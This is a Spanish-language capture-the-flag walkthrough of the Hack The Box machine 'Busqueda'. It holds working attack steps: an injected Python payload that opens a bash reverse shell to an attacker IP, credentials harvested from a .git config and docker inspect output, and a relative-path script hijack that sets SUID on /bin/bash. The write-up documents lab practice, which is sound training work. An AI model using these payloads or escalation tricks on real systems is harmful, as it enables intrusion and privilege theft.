🟢Busqueda

Enumeración

Enumeración de puertos

Comenzamos la resolución de la máquina "Busqueda", enumerando que puertos tiene abiertos el sistema objetivo.

nmap -p- --open -Pn --min-rate 500 10.10.11.208

Dos puertos abiertos: 22 y 80. El siguiente paso será la enumeración profunda de los servicios abiertos.

Servicios abiertos:

  • Puerto 22 -> SSH -> OpenSSH 8.9

  • Puerto 80 -> HTTP -> Apache httpd 2.4.52 -> Registrar dominio en /etc/hosts

Registramos el dominio searcher.htb en el archivo /etc/hosts

Enumeración Web

La máquina "Busqueda" está ejecutando un servidor Web en el puerto 80. Vamos a enumerar su contenido.

Parece un buscador Web.

Otra cosa que encontramos enumerando el sitio Web, es una versión.

Vamos a realizar la enumeración de archivos y directorios existentes. Para ello, utilizaremos la herramienta "dirsearch"

dirsearch -u http://searcher.htb -i 200,301,401

Pero parece que en el sitio Web no existen directorios.

Explotación método : Exploit público

Durante la enumeración del sitio Web, encontramos la versión del buscador que estaba siendo utilizada. Vamos a comprobar si es una versión vulnerable y si existen explois públicos.

Investigando en Google sobre la versión que tenemos, encontramos el siguiente exploit. Vamos a descargarlo y ver su funcionamiento.

Necesitamos un objetivo (searcher.htb), la IP de la máquina de ataque y un puerto de dicha máquina de ataque (Puerto 9001 por defecto). El funcionamiento se divide en dos parte, por un lado, ejecutamos el exploit descargado y por otro, debemos configurar un oyente nc, en nuestro casi en el puerto 9001 ppor defecto.

Y tendremos acceso desde nuestra máquina de ataque.

Método 2: Explotación manual

Vamos a tratar de explotar esta vulnerabilidad sin hacer uso del exploit. Para ello, vamos a analizar el código el exploit que hemos utilizado anteriormente y observamos como explota la vulnerabilidad. En esta sección, vamos a tratar de capturar y explotar esta vulnerabilidad utilizando Burp Suite.

Capturamos la petición válida

Ahora comprobamos como explota la vulnerabilidad

Ya sabemos como se inyecta el payload, ahora vamos a tratar de confeccionar un payload que nos permita entablar la reverse shell.

Probamos el siguiente payload codificado en URL

engine=Google&query="'+%2b+__import__('os').popen('id').read()+%2b+'"

Obtenemos el siguiente resultado

Que si lo desciframos, vamos que nos devuelve que tenemos conexión como usuario "svc"

Bien, ya tenemos parte del trabajo hecho. Ahora seguimos contruyendo el payload para la reverse shell.

engine=Google&query="'+%2b+__import__('os').popen('bash+-c+"bash+-i+>%26+/dev/tcp/10.10.16.2/9001+0>%261"').read()+%2b+'

Y, volvemos a obtener la conexión con la máquina objetivo. El siguiente paso será la búsqueda de la flag user.txt

Elevación de privilegios

Una vez que obtenemos conexión a la máquina objetivo y encontramos la flag user.txt, continuamos con la elevación de privilegios dentro del sistema. Comenzamos con una enumeración de directorios.

El primer directorio que enumeraremos es el directorio Web, donde encontramos una carpeta .git que puede ser interesante.

Cambiamos al directorio del usuario "svc".

Donde también encontramos referencias hacia "git".

Comenzamos a inspeccionar ambos directorios.

Dentro del directorio .git encontramos un archivo de configuración "config" donde encontramos unas credenciales. Y un subdominio del dominio con el que hemos estado trabajando. Vamos a añadirlo al archivo /etc/hosts.

Las credenciales son válidas.

Ahora, a inspeccionar la plataforma en busca de vectores de elevación de privilegios. Pero no encontramos nada interesante.

Vamos a comenzar con las enumeraciones que nos permitirán conocer los vectores de elevación de privilegios. Comenzamos con sudo -l.

Debemos convertir la interfaz en interactiva. Esto lo hacemos de la siguiente manera:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Y, volvemos a ejecutar sudo -l

Utilizaremos la password que encontramos en el archivo config que encontramos en el directorio .git

Vemos que podemos ejecutar un system checkup. Veamos que podemos hacer con él.

Podemos listar los docker del sistema.

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect

Necesitamos un formato de búsqueda y el nombre del contenedor. Vamos a buscar como se generan estas búsquedas. Encontramos el siguiente enlace con información interesante.

Sabiendo esto, vamos a tratar de dumpear toda la información existente.

sudo python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea | jq .

Encontramos lo que parecen las credenciales de una base de datos MySQL, y la dirección IP del servidor donde se encuentra está base de datos.

Nos conectamos a la base de datos desde la máquina "Búsqueda" con el usuario "svc"

mysql -h 172.19.0.3 -u gitea -pyuiu1hoiu4i5ho1uh

Pero nos devuelve el siguiente error.

Vamos a tratar de utilizar esta password para iniciar sesión en la plataforma Gitea como usuario "administrator". Las credenciales son válidas.

En la plataforma, encontramos un repositorio con scripts. Veamos su contenido.

Encontramos el script system-checkup.py

Que vemos que ejecuta full-checkup.sh en una ruta relativa. Vamos a crear el archivo en la máquina objetivo con el siguiente contenido.

#! /bin/bash
chmod +s /bin/bash

Damos permisos de ejecución

chmod +x full-checkup.sh

Y, ejecutamos de la siguiente forma:

sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

Posteriormente, ejecutamos.

bash -p

Y solo quedará buscar la flag root para finalizar la resolución del CTF Búsqueda.

Last updated